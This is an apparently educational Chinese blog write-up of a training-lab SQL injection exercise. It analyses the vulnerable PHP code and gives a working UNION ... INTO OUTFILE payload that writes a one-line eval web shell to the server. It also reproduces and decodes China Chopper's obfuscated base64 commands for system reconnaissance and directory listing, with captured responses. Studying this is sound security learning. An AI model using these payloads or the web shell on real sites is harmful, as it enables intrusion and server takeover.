第一次sql注入的教训与思考

sql注入实验

靶场在云演课堂web安全入门sql注入第一节
这课程排的我也不知道啥是sql注入,啥是文件上传漏洞了

文章目录

  • sql注入实验
  • sql注入是如何发生的
    • 假设
    • 从服务端代码入手
      • show.php
      • common.fuction.php部分
      • **include/config.inc.php:**
      • db_mysql.php部分
    • 结论
    • ``
      • eval($code)
      • `$_POST['mycommand']`
  • wireshark观察过程
    • 为什么叫做 一句话"木马"?
    • sql注入取得权限的过程
  • 中国菜刀干了什么?
    • wireshark抓包
      • No.37的POST
      • No.39服务端返回请求
      • No.41的POST
      • NO.43服务端返回请求

确实需要先速通SQL基础,MYSQL,PHP,HTML,看个大概就可以了

我认为的理解SQL注入的前置知识

1.HTML和PHP的表单交互,代码不难敲,可以用wireshark抓包观察整个过程

2.PHP的一些超级全局变量,比如$_GET[],_POST[]等等

3.中国菜刀是干啥的,LAMP搭建的网站的结构

4.PHP调用MYSQL

下面是正文

sql注入是如何发生的

假设

这个问题又或者说为什么可以进行SQL注入?SQL注入的原理?

通过把SQL命令插入到web表单提交,输入域名,页面请求的查询字符串等中,欺骗服务器执行SQL命令

通过构建特殊的输入作为参数传入web应用程序

如果web应用程序没有仔细过滤用户的输入则有可能造成SQL攻击成功

这三句现在看起来很迷

但是只要斯坦纳发动进攻,事情会好起来的

在我没有学PHP和MYSQL的时候,我的问题是,为什么在域名行输入SQL语句就可以让数据库有所反应呢?

而现在可以有一个大体的假设了

域名行最后的问号后面id=33应该是GET表单的一个请求,键为id,值为33

http://e4245dbc.lxctf.net/show.php?id=33

我的猜测是,id=33对应了数据表中的第33号记录,php代码中应该是把$_GET["id"]这个值直接用在了SQL语句中

或者说本来就是一个获取id=33的记录却执行了其他SQL语句

从服务端代码入手

为了弄清楚这个事,我先糊里糊涂地跟着实验手册走了一遍流程,然后用中国菜刀取得了网站的管理权限?就可以看到网站的树形结构,网站所有资源了

第一次sql注入的教训与思考_第1张图片

因为我们发现可以sql注入的网页是show.php,所以我们从show.php开始研究

show.php

 
include_once 'header.php';
?>
<?php
$arc = getArticleInfo();
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php echo $arc['title'];?></title>
</head>

<body>
<table width="990" align="center">
  <tr>
    <th height="40" style="color:#FFF"">$arc['title'];?> 
  
  
    " class="white"><?php echo $arc['content'];?>&nbsp;</td>
  </tr>
</table>
<?php 
include_once 'footer.php';
?>


发现这里面并没有调用数据库的语句,推测是在$arc = getArticleInfo();这句中

ctrl+左键点击这个函数跳转到的是common.fuction.php这个文件中

common.fuction.php部分

/**
 * 获取文章详情
 * @param  $id
 */
function getArticleInfo($id = 0)
{
    global $db;
    if ($id == 0) {
        if (empty($_GET['id'])) {
            return false;
        } else {
            $id = $_GET['id'];
        }
    }
    return $db->getOneRow("select * from cms_article where id=" . $id);
}

这个文件中全是get函数,这些函数的共性是里面都有一句global $db;

推测是在某处声明了一个全局位置的数据库句柄,然后在每个函数中可以引用它

show.php在一开始引入了header.php

header.php在一开始引入了include/config.inc.phpinclude/common.function.php

$db的声明就在include/config.inc.php

include/config.inc.php:



header('Content-Type: text/html; charset=utf-8');

define('ROOT_PATH', dirname(dirname(__FILE__)) . '/');    //网站所在根目录(绝对路径)

require_once ROOT_PATH . 'include/database.inc.php';        //数据库配置文件
require_once ROOT_PATH . 'include/db_mysql.php';        //数据库操作类

/*------------------------------------------------
* 数据库连接
*-----------------------------------------------*/
$db = new db_mysql();//db的声明位置,
$db->connect(DB_HOST, DB_USER, DB_PWD, DB_NAME, DB_CHARSET);

/*防止 PHP 5.1.x 使用时间函数报错*/
if (function_exists('date_default_timezone_set')) date_default_timezone_set('PRC');

回到common.fuction.php

每个get函数都是用于数据库操作的

正如注释所言,getArticleInfo这个函数是用来获取文章详情的

从第8行到第14行是对GET表单的处理,作用一是判断输入的id是否有意义(不为零),二是声明一个$id局部变量,方便后面调用

最关键的语句是第15行的return语句,这是一个面向对象风格的语句getOneRow显然不是一个库函数,应该是db对象所属类的成员函数

row是行的意思,从函数名上大体可以推测返回一行sql语句结果

ctrl+左键点击getOneRow函数来到db_mysql.php文件

确实这个文件里只定义了一个类class db_mysql

getOneRow是其众多成员函数之一

db_mysql.php部分

    function getOneRow($sql) {
        $res = $this->query ( $sql );
        if ($res !== false) {
            return mysql_fetch_assoc ( $res );
        } else {
            return false;
        }
    }

该函数形参$sql一看就知道马上要执行sql语句了,刚才从getArticleInfo()传入的正是SQL语句

第2行用$res承载了SQL语句的返回值,query()应该是该类的另一个成员函数

    function query($sql) {
        if ($this->debug) echo "

\n" . $sql . "\n
"
;//如果设置成调试模式,将打印SQL语句 if (! ($query = mysql_query ( $sql, $this->link_id ))) { $this->ErrorMsg (); return false; } else { return $query; } }

其中$this->link_idclass db_mysql的成员变量,其初始值为空,获取有效值是在成员函数connect()中:

 /**
     * 连接数据库
     *
     * param  string  $dbhost		数据库主机名
* param string $dbuser 数据库用户名
* param string $dbpw 数据库密码
* param string $dbname 数据库名称
* param string $dbcharset 数据库字符集
* param string $pconnect 持久链接,1为开启,0为关闭 * return bool **/
function connect($dbhost, $dbuser, $dbpwd, $dbname = '', $dbcharset = 'utf8', $pconnect = 0) { if ($pconnect) { if (! $this->link_id = mysql_pconnect ( $dbhost, $dbuser, $dbpwd )) { //老版本的连接数据库函数,现在已经弃用 $this->ErrorMsg (); } } else { if (! $this->link_id = mysql_connect ( $dbhost, $dbuser, $dbpwd, 1 )) { $this->ErrorMsg (); } } $this->version = mysql_get_server_info ( $this->link_id ); if ($this->getVersion () > '4.1') { if ($dbcharset) { mysql_query ( "SET character_set_connection=" . $dbcharset . ", character_set_results=" . $dbcharset . ", character_set_client=binary", $this->link_id ); } if ($this->getVersion () > '5.0.1') { mysql_query ( "SET sql_mode=''", $this->link_id ); } } if (mysql_select_db ( $dbname, $this->link_id ) === false) { $this->ErrorMsg (); } }

这个query()函数实际上就是调用了库函数mysql_query()实际执行了sql语句,其他的函数都只是进行了一些不痛不痒的判断

现在皮球又踢到了mysql_query函数下

该函数的解释:

#[Deprecated('5.5')] //从php5.5版本之后该函数已经被废弃
function mysql_query($query, $link_identifier = null) bool|resource
Send a MySQL query//作用是发送一条MYSQL查询
Deprecated//已废弃

Parameters://参数
string//字符串类型
$query//查询
An SQL query//一个SQL查询语句
The query string should not end with a semicolon. Data inside the query should be properly escaped.
    //查询字符串不应当以分号结尾.其中的数据应当被正确 转义
resource//资源是一种特殊的变量类型,保存了到外部资源的一个引用:如打开文件、  数  据  库  连接、图形画布区域等。
$link_identifier//连接标识
[optional]
Returns:
For SELECT, SHOW, DESCRIBE, EXPLAIN and other statements returning resultset, mysql_query returns a resource on success, or false on error.
    //如果SELECT, SHOW, DESCRIBE, EXPLAIN等等语句查询正确则返回资源(句柄)否则返回false
For other type of SQL statements, INSERT, UPDATE, DELETE, DROP, etc, mysql_query returns true on success or false on error.
    //其他类型比如INSERT, UPDATE, DELETE, DROP等等,查询正确返回true,错误false
The returned result resource should be passed to mysql_fetch_array, and other functions for dealing with result tables, to access the returned data.//返回值应当传递给mysql_fetch_array或者其他处理函数
Use mysql_num_rows to find out how many rows were returned for a SELECT statement or mysql_affected_rows to find out how many rows were affected by a DELETE, INSERT, REPLACE, or UPDATE statement.
    //mysql_num_rows查看查询结果中的行数(即符合条件的记录数量)
mysql_query也会返回false will also fail and return false if the user does not have permission to access the table(s) referenced by the query.
    //如果用户没有访问该数据表权限,mysql_query也会返回false
Links:
https://php.net/manual/en/function.mysql-query.php 
Source:
D:/PhpStorm 2021.3.1/plugins/php/lib/php.jar!/stubs/mysql/mysql.php

结论

读到这里,我们大体可以知道这个sql注入是如何发生的或者说为什么可以注入,或者说漏洞在哪里了:

http://e4245dbc.lxctf.net/show.php?id=33

这是合法的(符合网站开发者预期)的域名,其中id=33为GET表单内容,请求查询数据库第33条数据

但是,域名问号后面实际上是可以执行任何SQL语句的

我们沿路观察过所有相关函数,均没有对该SQL语句的形式有限制

getArticleInfo()->$db->getOneRow()->$db->query()->mysql_query()

这一串函数调用实际上是将一条sql语句一直踢皮球,踢到库函数mysql_query()才执行

错不在库函数,这个库函数只是执行了最基本的执行SQL语句,没有权利也没有义务去管SQL语句是什么合不合法

错在前面三个函数都没有限制SQL语句内容,

就算是getArticleInfo函数中有

		if (empty($_GET['id'])) {
            return false;
        } 

也只是只关心了id的值是否为空,没有关系id的值是否有害

到此我才有点儿明白,云演课堂上讲的是什么意思

第一次sql注入的教训与思考_第2张图片

在本题中,设计者理想的SQL语句就是id=数字来请求第几个记录

而攻击者则用select 等语句获得了其他信息

这就好像在拳皇中使用规则中没有介绍但是存在的组合键招数

第一次sql注入的教训与思考_第3张图片

在本题中"特殊的输入"就是指"id=33"之外的输入

"细致的过滤"指设计者应当限定我们只能用"id=1,id=10"等等这种语句,不应该用"select"这种语句

这句话的意思:

这是一条php语句,其执行了一个eval函数

eval($code)

function eval($code) mixed
Evaluates the given code as PHP.
//将给定的参数$code视为php代码(去执行)
Caution: The eval() language construct is very dangerous because it allows execution of arbitrary PHP code. 
//小心:eval()语言构造器允许执行任意PHP代码,因此它具有危险性
 Its use thus is discouraged. 
 //因此不鼓励使用该函数
 If you have carefully verified that there is no other option than to use this construct, pay special attention not to pass any user provided data into it without properly validating it beforehand.
 //即使到了万不得已要用这个函数,也需要在传递用户提供的数据作为该函数参数之前对用户提供的数据进行检查

Parameters:
string
$code
Valid PHP code to be evaluated.//将要被求值的有效php代码
The code must not be wrapped in opening and closing PHP tags, i.e. 'echo "Hi!";' must be passed instead of ''. It is still possible to leave and re-enter PHP mode though using the appropriate PHP tags, e.g. 'echo "In PHP mode!"; ?>In HTML mode!.
Apart from that the passed code must be valid PHP. This includes that all statements must be properly terminated using a semicolon. 'echo "Hi!"' for example will cause a parse error, whereas 'echo "Hi!";' will work.
A return statement will immediately terminate the evaluation of the code.
 //返回值将会立刻终止求值
The code will be executed in the scope of the code calling eval().

Thus any variables defined or changed in the eval() call will remain visible after it terminates.
Returns:
NULL unless return is called in the evaluated code, in which case the value passed to return is returned. As of PHP 7, if there is a parse error in the evaluated code, eval() throws a ParseError exception. Before PHP 7, in this case eval() returned FALSE and execution of the following code continued normally. It is not possible to catch a parse error in eval() using set_error_handler().
Links:
https://php.net/manual/en/function.eval.php 
Source:
D:/PhpStorm 2021.3.1/plugins/php/lib/php.jar!/stubs/standard/_types.php

说人话就是eval将其参数(字符串)视为php语句去执行

$_POST['mycommand']

$_POST[]是超级全局变量数组之一,作用是承载HTML发出的POST表单的内容,mycommand是键,值由表单传递确定

wireshark观察过程

客户端在127.0.0.1:54316

服务端在127.0.0.1:63342

第一次sql注入的教训与思考_第4张图片

1.No.5126-No.5128为TCP建立连接的三次握手

2.No.5129为请求index.html/testTrojan.php页面

hackbar中指定了Post data参数

第一次sql注入的教训与思考_第5张图片

这个数据在wireshark中也被捕获:

可以清晰观察出,表单只有一个项目,键为mycommand,值为echo “helloworld”;

第一次sql注入的教训与思考_第6张图片

No.5130为服务端对服务端的请求回应收到

No.5139是服务端向客户端发送请求内容

第一次sql注入的教训与思考_第7张图片

No.5140是客户端向服务端回复收到

No.5249,No.5250和No.5271,No.5272两组TCP保持连接是由于没有及时关闭网页,导致TCP连接无法断开

No.5281到No.5284是关闭网页后,TCP连接四次挥手断开连接

为什么叫做 一句话"木马"?

我的理解是:

特洛伊木马就是表面上人畜无害的一个木头做的马实际上里面暗藏玄机

它骗过城门守卫混入城内之后木马里面的士兵就蜂拥而出占领城池了

一句话木马与其神似

以字符串方式传递命令而不是立刻执行,然后在服务器上执行.

字符串就像木马,字符串中的命令就像木马里的士兵

sql注入取得权限的过程

1.首先我们需要把这匹木马运进城内,就是在服务器生成一个木马文件,为使用菜刀做准备

and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,"",12,13,14,15 into outfile "/var/www/html/shell.php"

这条命令会在服务器www/html下生成一个shell.php文件:

内容是这样的:

1	2	cms	4	5	6	7	8	9	10	<?php eval($_POST['cmd']);?>	12	13	14	15

其中的有效部分只有这一部分,也就是说执行该文件就相当于执行eval($_POST['cmd']);

shell.php文件生成之后,使用中国菜刀

第一次sql注入的教训与思考_第8张图片

注意右上角的小方框里写是一句话木马里面的口令,这里用的是cmd,只要保证一句话木马里的口令和右上角相同就可以了

添加之后网站的权限就到手了

中国菜刀干了什么?

wireshark抓包

在中国菜刀中我们做了两件事,一是指定一句话木马位置,二是指定木马口令

剩下的事情就交给中国菜刀了,它干了什么呢?我们使用wireshark抓包观察

在输入木马地址和口令的界面还有点击编辑之后都没有捕获到数据帧

当点击"文件管理",访问服务器目录的时候,终于捕获到数据帧,此时关闭菜刀,研究这一访问目录的过程

第一次sql注入的教训与思考_第9张图片

No.34到No.36为客户端与服务端建立连接的三次握手

No.37的POST

No.37为客户端向服务端发送POST表单,内容是:

QQ截图20220212084717

wireshark一行内显示字数有限,上图中的value是不完整的,完整的value:

cmd=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9ZGlybmFtZShfX0ZJTEVfXyk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"));
cmd=array_map("assert",array("eval(\"\\\$xx%3D\\\"Base64_decode\\\";@eval(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9ZGlybmFtZShfX0ZJTEVfXyk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"));

大体上可以推测这里使用cmd木马命令执行了base64加密的东西,解码后:

@ini_set("display_errors","0");
@set_time_limit(0);
if(PHP_VERSION<'5.3.0'){
	@set_magic_quotes_runtime(0);//不自动加上反斜杠
};
echo("X@Y");//两个X@Y之间为脚本正文
$D=dirname(__FILE__);
$R="{$D}\t";
if(substr($D,0,1)!="/"){
    foreach(range("A","Z") as $L)
        if(is_dir("{$L}:"))
            $R.="{$L}:";
}
$R.="\t";
$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';

$usr=($u)?$u['name']:@get_current_user();

$R.=php_uname();

$R.="({$usr})";
print $R;;

echo("X@Y");

die();

逐条分析

@ini_set("display_errors","0");//设置不报错
@set_time_limit(0);//设置无运行时间限制
if(PHP_VERSION<'5.3.0'){//如果php版本比较老旧
    @set_magic_quotes_runtime(0);//设置不自动为字符串内符号加转移符号
}
$D=dirname(__FILE__);//$D用来保存当前文件所在文件夹的位置
if(substr($D,0,1)!="/"){//如果当前目录$D的开头不是/即当前目录不是从根目录开始的绝对目录
    foreach(range("A","Z") as $L)
        if(is_dir("{$L}:"))			//比如D:为D盘目录
            $R.="{$L}:";
}

POSIX一般指可移植操作系统接口。

linux和windows都要实现基本的posix标准,linux把fork函数封装成posix_fork(随便说的),windows把creatprocess函数也封装成posix_fork,都声明在unistd.h里。这样,程序员编写普通应用时候,只用包含unistd.h,调用posix_fork函数,程序就在源代码级别可移植了。–来自博客

$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';
//如果posix_getegid存在则调用posix_getpwuid(@posix_geteuid())
//其中posix_geteuid()的作用是返回当前用户的用户名,在服务端上也就是root用户
//恰好posix_getegid()的参数为用户名,然后返回该用户的信息
$usr=($u)?$u['name']:@get_current_user();
//如果$u通过恰好posix_getpwuid()已经获取,posix_getpwuid()返回的是一个包括用户name,passwd等信息的数组
//那么$u['name']就是取其用户名

//如果$u为空说明posix_getpwuid没有执行成功,那么改为调用get_current_user();函数获取当前用户的用户名
$R.=php_uname();//该函数返回当前php脚本所在系统的信息

总的来说,该POST的作用是向服务器请求了服务器的一些信息,包括服务器根目录,系统信息

No.38服务端回复收到

No.39服务端返回请求

第一次sql注入的教训与思考_第10张图片

这里

1\t2\tcms\t4\t5\t6\t7\t8\t9\t10\tX@Y/var/www/html\t\tLinux 422866fd44e5 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64(www-data)X@Y

为shell.php中规定的格式,只有3和11位置可以显示数据

No.40客户端回应服务端收到

No.41的POST

客户端又有了新的请求

cmd=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9Jy92YXIvd3d3L2h0bWwvJzskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuJy8nLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiJcbiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygiWEBZIik7ZGllKCk7'));\");"));

解码之后


@ini_set("display_errors", "0");
@set_time_limit(0);

if (PHP_VERSION < '5.3.0') {
    @set_magic_quotes_runtime(0);
};
echo("X@Y");
$D = '/var/www/html/';
$F = @opendir($D);


if ($F == NULL) {

    echo("ERROR:// Path Not Found Or No Permission!");
} else {
    $M = NULL;
    $L = NULL;
    while ($N = @readdir($F)) {
        $P = $D.'/'.$N;
        $T = @date("Y-m-d H:i:s", @filemtime($P));
        @$E = substr(base_convert(@fileperms($P), 10, 8), -4);
        $R = "\t".$T."\t".@filesize($P)."\t".$E."\n";
        if (@is_dir($P))
            $M.= $N."/".$R;
		else $L.= $N.$R;
	}
    echo $M.$L;
    @closedir($F);
};
echo("X@Y");
die();

显然是获取$D = ‘/var/www/html/’;这个目录下的次级目录和文件

将该根目录位置更换为我的电脑的E盘位置$D=‘E:/’;运行结果:

X@Y$RECYCLE.BIN/ 2022-02-02 10:11:21 0 0777 AgeOfEmpires2HD_chs_setup/ 2022-01-26 12:31:10 4096 0777 aoe/ 2022-02-10 14:05:47 0 0777 Kali/ 2022-02-12 00:12:43 4096 0777 myServer/ 2022-01-30 08:17:18 0 0777 ra3/ 2022-01-26 11:32:17 0 0777 System Volume Information/ 2022-01-20 08:42:48 4096 0777 ubuntu1/ 2022-01-28 11:01:19 4096 0777 yxdown.com_AgeOfEmpires2HD_chs.rar 2021-07-15 13:10:50 965080293 0666 X@Y

No.42为服务端回应No.41客户端的请求

NO.43服务端返回请求

)QlRXø±Eº}@-DÕqÉýÀ¨+}Pp¨FµÇB¤PM}HTTP/1.1 200 OK
Content-Type: text/html
Date: Sat, 12 Feb 2022 00:41:37 GMT
Server: Apache/2.4.7 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Content-Length: 721

1	2	cms	4	5	6	7	8	9	10	X@Y./	2022-02-12 00:40:27	23	0777
../	2020-11-08 13:56:02	18	0777
admin/	2015-12-09 00:38:39	4096	0777
attachment/	2015-12-09 00:38:39	27	0777
images/	2015-12-09 00:38:39	4096	0777
include/	2020-11-08 13:54:11	186	0777
cms.sql	2018-05-30 07:24:16	14290	0777
footer.php	2015-12-09 00:38:10	343	0777
header.php	2015-12-09 00:38:10	1995	0777
index.php	2015-12-09 00:38:10	4211	0777
list.php	2015-12-09 00:38:10	641	0777
message.php	2015-12-09 00:38:10	5009	0777
notice.php	2015-12-09 00:38:10	481	0777
page.php	2015-12-09 00:38:10	376	0777
search.php	2015-12-09 00:38:10	859	0777
show.php	2015-12-09 00:38:10	666	0777
validate.php	2015-12-09 00:38:10	545	0777
shell.php	2022-02-12 00:40:27	64	0666
X@Y

即服务端html目录下的文件和次级目录

No.44客户端回复服务端收到

No.341关闭了中国菜刀,连接断开

以上就是中国菜刀代替我们向服务端发送的一系列请求,对我们,它将获取到的服务端的回复显示出来

你可能感兴趣的:(web安全,sql,php,数据库)